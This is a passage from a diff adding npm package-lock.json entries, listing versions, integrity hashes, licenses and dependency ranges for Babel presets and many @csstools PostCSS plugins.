"7.29.7", + "integrity": "sha512-GYzX36n1nsciIb0uyH0GHwxwtNwPQIcpxSeiVLDtG/B7jB5xXgchnmL1f/jCX5o+pwnaDBtO60ONSJhEBJfxYA==", + "license": "MIT", + "dependencies": { + "@babel/compat-data": "^7.29.7", + "@babel/helper-compilation-targets": "^7.29.7", + "@babel/helper-plugin-utils": "^7.29.7", + "@babel/helper-validator-option": "^7.29.7", + "@babel/plugin-bugfix-firefox-class-in-computed-class-key": "^7.29.7", + "@babel/plugin-bugfix-safari-class-field-initializer-scope": "^7.29.7", + "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.29.7", + "@babel/plugin-bugfix-safari-rest-destructuring-rhs-array": "^7.29.7", + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.29.7", + "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.29.7", + "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", + "@babel/plugin-syntax-import-assertions": "^7.29.7", + "@babel/plugin-syntax-import-attributes": "^7.29.7", + "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", + "@babel/plugin-transform-arrow-functions": "^7.29.7", + "@babel/plugin-transform-async-generator-functions": "^7.29.7", + "@babel/plugin-transform-async-to-generator": "^7.29.7", + "@babel/plugin-transform-block-scoped-functions": "^7.29.7", + "@babel/plugin-transform-block-scoping": "^7.29.7", + "@babel/plugin-transform-class-properties": "^7.29.7", + "@babel/plugin-transform-class-static-block": "^7.29.7", + "@babel/plugin-transform-classes": "^7.29.7", + "@babel/plugin-transform-computed-properties": "^7.29.7", + "@babel/plugin-transform-destructuring": "^7.29.7", + "@babel/plugin-transform-dotall-regex": "^7.29.7", + "@babel/plugin-transform-duplicate-keys": "^7.29.7", + "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "^7.29.7", + "@babel/plugin-transform-dynamic-import": "^7.29.7", + "@babel/plugin-transform-explicit-resource-management": "^7.29.7", + "@babel/plugin-transform-exponentiation-operator": "^7.29.7", + "@babel/plugin-transform-export-namespace-from": "^7.29.7", + "@babel/plugin-transform-for-of": "^7.29.7", + "@babel/plugin-transform-function-name": "^7.29.7", + "@babel/plugin-transform-json-strings": "^7.29.7", + "@babel/plugin-transform-literals": "^7.29.7", + "@babel/plugin-transform-logical-assignment-operators": "^7.29.7", + "@babel/plugin-transform-member-expression-literals": "^7.29.7", + "@babel/plugin-transform-modules-amd": "^7.29.7", + "@babel/plugin-transform-modules-commonjs": "^7.29.7", + "@babel/plugin-transform-modules-systemjs": "^7.29.7", + "@babel/plugin-transform-modules-umd": "^7.29.7", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.29.7", + "@babel/plugin-transform-new-target": "^7.29.7", + "@babel/plugin-transform-nullish-coalescing-operator": "^7.29.7", + "@babel/plugin-transform-numeric-separator": "^7.29.7", + "@babel/plugin-transform-object-rest-spread": "^7.29.7", + "@babel/plugin-transform-object-super": "^7.29.7", + "@babel/plugin-transform-optional-catch-binding": "^7.29.7", + "@babel/plugin-transform-optional-chaining": "^7.29.7", + "@babel/plugin-transform-parameters": "^7.29.7", + "@babel/plugin-transform-private-methods": "^7.29.7", + "@babel/plugin-transform-private-property-in-object": "^7.29.7", + "@babel/plugin-transform-property-literals": "^7.29.7", + "@babel/plugin-transform-regenerator": "^7.29.7", + "@babel/plugin-transform-regexp-modifiers": "^7.29.7", + "@babel/plugin-transform-reserved-words": "^7.29.7", + "@babel/plugin-transform-shorthand-properties": "^7.29.7", + "@babel/plugin-transform-spread": "^7.29.7", + "@babel/plugin-transform-sticky-regex": "^7.29.7", + "@babel/plugin-transform-template-literals": "^7.29.7", + "@babel/plugin-transform-typeof-symbol": "^7.29.7", + "@babel/plugin-transform-unicode-escapes": "^7.29.7", + "@babel/plugin-transform-unicode-property-regex": "^7.29.7", + "@babel/plugin-transform-unicode-regex": "^7.29.7", + "@babel/plugin-transform-unicode-sets-regex": "^7.29.7", + "@babel/preset-modules": "0.1.6-no-external-plugins", + "babel-plugin-polyfill-corejs2": "^0.4.15", + "babel-plugin-polyfill-corejs3": "^0.14.0", + "babel-plugin-polyfill-regenerator": "^0.6.6", + "core-js-compat": "^3.48.0", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-env/node_modules/babel-plugin-polyfill-corejs3": { + "version": "0.14.2", + "integrity": "sha512-coWpDLJ410R781Npmn/SIBZEsAetR4xVi0SxLMXPaMO4lSf1MwnkGYMtkFxew0Dn8B3/CpbpYxN0JCgg8mn67g==", + "license": "MIT", + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.6.8", + "core-js-compat": "^3.48.0" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/@babel/preset-env/node_modules/semver": { + "version": "6.3.1", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/preset-modules": { + "version": "0.1.6-no-external-plugins", + "integrity": "sha512-HrcgcIESLm9aIR842yhJ5RWan/gebQUJ6E/E5+rf0y9o6oj7w0Br+sWuL6kEQ/o/AdfvR1Je9jG18/gnpwjEyA==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.0.0", + "@babel/types": "^7.4.4", + "esutils": "^2.0.2" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/@babel/preset-react": { + "version": "7.29.7", + "integrity": "sha512-C+PV1TFUPTmBQGoPBL8j2QmLpZ117YTCwxIZeJOM96GbYMFSc7/pOXU5lVykwnZxyTqQxRsvoRk6f2FktZgGHA==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7", + "@babel/helper-validator-option": "^7.29.7", + "@babel/plugin-transform-react-display-name": "^7.29.7", + "@babel/plugin-transform-react-jsx": "^7.29.7", + "@babel/plugin-transform-react-jsx-development": "^7.29.7", + "@babel/plugin-transform-react-pure-annotations": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-typescript": { + "version": "7.29.7", + "integrity": "sha512-/Foi8vKY2EVbed/1eZx0gJEEwHAIxogrySI7rULcRIvhZzbvoE/b5qG5Ghc0WKAFKOHA9SD1x7RsFlOYdutIiQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7", + "@babel/helper-validator-option": "^7.29.7", + "@babel/plugin-syntax-jsx": "^7.29.7", + "@babel/plugin-transform-modules-commonjs": "^7.29.7", + "@babel/plugin-transform-typescript": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/runtime": { + "version": "7.29.7", + "integrity": "sha512-Nq8OhGWiZIZGV6hLHoyAKLLcJihP/xFeBMGJoUrxTX2psI8dCifzLhZISFb+VWS3wFMRDmCGw5R+dOySCqPLhw==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/template": { + "version": "7.29.7", + "integrity": "sha512-puq+Gf35oI24FeN11LkoUQFqv9uwNeWpxXZi/Ji3rRIoKAzKnxRaZ+Gkj0vKS9ZCiTESfng1N9LyOyXvo+m+Gg==", + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.29.7", + "@babel/parser": "^7.29.7", + "@babel/types": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/traverse": { + "version": "7.29.7", + "integrity": "sha512-EhlfNQtZ+NK22w5BM61ciuiq1m58ed33Wr1Xan//ZRTy6hgjnwyCffRYwzsGXdASJSUJ1guZILsErh1eQcl+zw==", + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.29.7", + "@babel/generator": "^7.29.7", + "@babel/helper-globals": "^7.29.7", + "@babel/parser": "^7.29.7", + "@babel/template": "^7.29.7", + "@babel/types": "^7.29.7", + "debug": "^4.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.29.7", + "integrity": "sha512-4zBIxpPzowiZpusoFkyGVwakdRJUyuH5PxQ/PrqghfdFWWasvnCdPfQXHrenDai+gyLARulZjZowCOj6fjT4pA==", + "license": "MIT", + "dependencies": { + "@babel/helper-string-parser": "^7.29.7", + "@babel/helper-validator-identifier": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@colors/colors": { + "version": "1.5.0", + "integrity": "sha512-ooWCrlZP11i8GImSjTHYHLkvFDP48nS4+204nGb1RiX/WXYHmJA2III9/e2DWVabCESdW7hBAEzHRqUn9OUVvQ==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.1.90" + } + }, + "node_modules/@csstools/cascade-layer-name-parser": { + "version": "2.0.5", + "integrity": "sha512-p1ko5eHgV+MgXFVa4STPKpvPxr6ReS8oS2jzTukjR74i5zJNyWO1ZM1m8YKBXnzDKWfBN1ztLYlHxbVemDD88A==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4" + } + }, + "node_modules/@csstools/color-helpers": { + "version": "5.1.0", + "integrity": "sha512-S11EXWJyy0Mz5SYvRmY8nJYTFFd1LCNV+7cXyAgQtOOuzb4EsgfqDufL+9esx72/eLhsRdGZwaldu/h+E4t4BA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "engines": { + "node": ">=18" + } + }, + "node_modules/@csstools/css-calc": { + "version": "2.1.4", + "integrity": "sha512-3N8oaj+0juUw/1H3YwmDDJXCgTB1gKU6Hc/bB502u9zR0q2vd786XJH9QfrKIEgFlZmhZiq6epXl4rHqhzsIgQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4" + } + }, + "node_modules/@csstools/css-color-parser": { + "version": "3.1.0", + "integrity": "sha512-nbtKwh3a6xNVIp/VRuXV64yTKnb1IjTAEEh3irzS+HkKjAOYLTGNb9pmVNntZ8iVBHcWDA2Dof0QtPgFI1BaTA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", + "dependencies": { + "@csstools/color-helpers": "^5.1.0", + "@csstools/css-calc": "^2.1.4" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4" + } + }, + "node_modules/@csstools/css-parser-algorithms": { + "version": "3.0.5", + "integrity": "sha512-DaDeUkXZKjdGhgYaHNJTV9pV7Y9B3b644jCLs9Upc3VeNGg6LWARAT6O+Q+/COo+2gg/bM5rhpMAtf70WqfBdQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@csstools/css-tokenizer": "^3.0.4" + } + }, + "node_modules/@csstools/css-tokenizer": { + "version": "3.0.4", + "integrity": "sha512-Vd/9EVDiu6PPJt9yAh6roZP6El1xHrdvIVGjyBsHR0RYwNHgL7FJPyIIW4fANJNG6FtyZfvlRPpFI4ZM/lubvw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/@csstools/media-query-list-parser": { + "version": "4.0.3", + "integrity": "sha512-HAYH7d3TLRHDOUQK4mZKf9k9Ph/m8Akstg66ywKR4SFAigjs3yBiUeZtFxywiTm5moZMAp/5W/ZuFnNXXYLuuQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4" + } + }, + "node_modules/@csstools/postcss-alpha-function": { + "version": "1.0.1", + "integrity": "sha512-isfLLwksH3yHkFXfCI2Gcaqg7wGGHZZwunoJzEZk0yKYIokgre6hYVFibKL3SYAoR1kBXova8LB+JoO5vZzi9w==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-color-parser": "^3.1.0", + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4", + "@csstools/postcss-progressive-custom-properties": "^4.2.1", + "@csstools/utilities": "^2.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-cascade-layers": { + "version": "5.0.2", + "integrity": "sha512-nWBE08nhO8uWl6kSAeCx4im7QfVko3zLrtgWZY4/bP87zrSPpSyN/3W3TDqz1jJuH+kbKOHXg5rJnK+ZVYcFFg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/selector-specificity": "^5.0.0", + "postcss-selector-parser": "^7.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-cascade-layers/node_modules/@csstools/selector-specificity": { + "version": "5.0.0", + "integrity": "sha512-PCqQV3c4CoVm3kdPhyeZ07VmBRdH2EpMFA/pd9OASpOEC3aXNGoqPDAZ80D0cLpMBxnmk0+yNhGsEx31hq7Gtw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss-selector-parser": "^7.0.0" + } + }, + "node_modules/@csstools/postcss-cascade-layers/node_modules/postcss-selector-parser": { + "version": "7.1.4", + "integrity": "sha512-HeP7D2wyhkR+XaK6v4W8oRF62Dsz4flyuczALJp61GckGm42u1saSSJ/0auvcBqxs3jMRFEcPK34At/0JBKdOg==", + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@csstools/postcss-color-function": { + "version": "4.0.12", + "integrity": "sha512-yx3cljQKRaSBc2hfh8rMZFZzChaFgwmO2JfFgFr1vMcF3C/uyy5I4RFIBOIWGq1D+XbKCG789CGkG6zzkLpagA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-color-parser": "^3.1.0", + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4", + "@csstools/postcss-progressive-custom-properties": "^4.2.1", + "@csstools/utilities": "^2.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-color-function-display-p3-linear": { + "version": "1.0.1", + "integrity": "sha512-E5qusdzhlmO1TztYzDIi8XPdPoYOjoTY6HBYBCYSj+Gn4gQRBlvjgPQXzfzuPQqt8EhkC/SzPKObg4Mbn8/xMg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-color-parser": "^3.1.0", + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4", + "@csstools/postcss-progressive-custom-properties": "^4.2.1", + "@csstools/utilities": "^2.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-color-mix-function": { + "version": "3.0.12", + "integrity": "sha512-4STERZfCP5Jcs13P1U5pTvI9SkgLgfMUMhdXW8IlJWkzOOOqhZIjcNhWtNJZes2nkBDsIKJ0CJtFtuaZ00moag==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-color-parser": "^3.1.0", + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4", + "@csstools/postcss-progressive-custom-properties": "^4.2.1", + "@csstools/utilities": "^2.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-color-mix-variadic-function-arguments": { + "version": "1.0.2", + "integrity": "sha512-rM67Gp9lRAkTo+X31DUqMEq+iK+EFqsidfecmhrteErxJZb6tUoJBVQca1Vn1GpDql1s1rD1pKcuYzMsg7Z1KQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-color-parser": "^3.1.0", + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4", + "@csstools/postcss-progressive-custom-properties": "^4.2.1", + "@csstools/utilities": "^2.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-content-alt-text": { + "version": "2.0.8", + "integrity": "sha512-9SfEW9QCxEpTlNMnpSqFaHyzsiRpZ5J5+KqCu1u5/eEJAWsMhzT40qf0FIbeeglEvrGRMdDzAxMIz3wqoGSb+Q==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4", + "@csstools/postcss-progressive-custom-properties": "^4.2.1", + "@csstools/utilities": "^2.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-contrast-color-function": { + "version": "2.0.12", + "integrity": "sha512-YbwWckjK3qwKjeYz/CijgcS7WDUCtKTd8ShLztm3/i5dhh4NaqzsbYnhm4bjrpFpnLZ31jVcbK8YL77z3GBPzA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-color-parser": "^3.1.0", + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4", + "@csstools/postcss-progressive-custom-properties": "^4.2.1", + "@csstools/utilities": "^2.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-exponential-functions": { + "version": "2.0.9", + "integrity": "sha512-abg2W/PI3HXwS/CZshSa79kNWNZHdJPMBXeZNyPQFbbj8sKO3jXxOt/wF7juJVjyDTc6JrvaUZYFcSBZBhaxjw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-calc": "^2.1.4", + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-font-format-keywords": { + "version": "4.0.0", + "integrity": "sha512-usBzw9aCRDvchpok6C+4TXC57btc4bJtmKQWOHQxOVKen1ZfVqBUuCZ/wuqdX5GHsD0NRSr9XTP+5ID1ZZQBXw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/utilities": "^2.0.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-gamut-mapping": { + "version": "2.0.11", + "integrity": "sha512-fCpCUgZNE2piVJKC76zFsgVW1apF6dpYsqGyH8SIeCcM4pTEsRTWTLCaJIMKFEundsCKwY1rwfhtrio04RJ4Dw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-color-parser": "^3.1.0", + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-gradients-interpolation-method": { + "version": "5.0.12", + "integrity": "sha512-jugzjwkUY0wtNrZlFeyXzimUL3hN4xMvoPnIXxoZqxDvjZRiSh+itgHcVUWzJ2VwD/VAMEgCLvtaJHX+4Vj3Ow==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-color-parser": "^3.1.0", + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4", + "@csstools/postcss-progressive-custom-properties": "^4.2.1", + "@csstools/utilities": "^2.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-hwb-function": { + "version": "4.0.12", + "integrity": "sha512-mL/+88Z53KrE4JdePYFJAQWFrcADEqsLprExCM04GDNgHIztwFzj0Mbhd/yxMBngq0NIlz58VVxjt5abNs1VhA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-color-parser": "^3.1.0", + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4", + "@csstools/postcss-progressive-custom-properties": "^4.2.1", + "@csstools/utilities": "^2.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-ic-unit": { + "version": "4.0.4", + "integrity": "sha512-yQ4VmossuOAql65sCPppVO1yfb7hDscf4GseF0VCA/DTDaBc0Wtf8MTqVPfjGYlT5+2buokG0Gp7y0atYZpwjg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/postcss-progressive-custom-properties": "^4.2.1", + "@csstools/utilities": "^2.0.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-initial": { + "version": "2.0.1", + "integrity": "sha512-L1wLVMSAZ4wovznquK0xmC7QSctzO4D0Is590bxpGqhqjboLXYA16dWZpfwImkdOgACdQ9PqXsuRroW6qPlEsg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-is-pseudo-class": { + "version": "5.0.3", + "integrity": "sha512-jS/TY4SpG4gszAtIg7Qnf3AS2pjcUM5SzxpApOrlndMeGhIbaTzWBzzP/IApXoNWEW7OhcjkRT48jnAUIFXhAQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/selector-specificity": "^5.0.0", + "postcss-selector-parser": "^7.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-is-pseudo-class/node_modules/@csstools/selector-specificity": { + "version": "5.0.0", + "integrity": "sha512-PCqQV3c4CoVm3kdPhyeZ07VmBRdH2EpMFA/pd9OASpOEC3aXNGoqPDAZ80D0cLpMBxnmk0+yNhGsEx31hq7Gtw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss-selector-parser": "^7.0.0" + } + }, + "node_modules/@csstools/postcss-is-pseudo-class/node_modules/postcss-selector-parser": { + "version": "7.1.4", + "integrity": "sha512-HeP7D2wyhkR+XaK6v4W8oRF62Dsz4flyuczALJp61GckGm42u1saSSJ/0auvcBqxs3jMRFEcPK34At/0JBKdOg==", + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@csstools/postcss-light-dark-function": { + "version": "2.0.11", + "integrity": "sha512-fNJcKXJdPM3Lyrbmgw2OBbaioU7yuKZtiXClf4sGdQttitijYlZMD5K7HrC/eF83VRWRrYq6OZ0Lx92leV2LFA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4", + "@csstools/postcss-progressive-custom-properties": "^4.2.1", + "@csstools/utilities": "^2.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-logical-float-and-clear": { + "version": "3.0.0", + "integrity": "sha512-SEmaHMszwakI2rqKRJgE+8rpotFfne1ZS6bZqBoQIicFyV+xT1UF42eORPxJkVJVrH9C0ctUgwMSn3BLOIZldQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-logical-overflow": { + "version": "2.0.0", + "integrity": "sha512-spzR1MInxPuXKEX2csMamshR4LRaSZ3UXVaRGjeQxl70ySxOhMpP2252RAFsg8QyyBXBzuVOOdx1+bVO5bPIzA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-logical-overscroll-behavior": { + "version": "2.0.0", + "integrity": "sha512-e/webMjoGOSYfqLunyzByZj5KKe5oyVg/YSbie99VEaSDE2kimFm0q1f6t/6Jo+VVCQ/jbe2Xy+uX+C4xzWs4w==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-logical-resize": { + "version": "3.0.0", + "integrity": "sha512-DFbHQOFW/+I+MY4Ycd/QN6Dg4Hcbb50elIJCfnwkRTCX05G11SwViI5BbBlg9iHRl4ytB7pmY5ieAFk3ws7yyg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/@csstools/postcss-logical-viewport-units": { + "version": "3.0.4", + "integrity": "sha512-q+eHV1haXA4w9xBwZLKjVKAWn3W2CMqmpNpZUk5kRprvSiBEGMgrNH3/sJZ8UA3JgyHaOt3jwT9uFa4wLX4EqQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-tokenizer": "^3.0.4", + "@csstools/utilities": "^2.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } 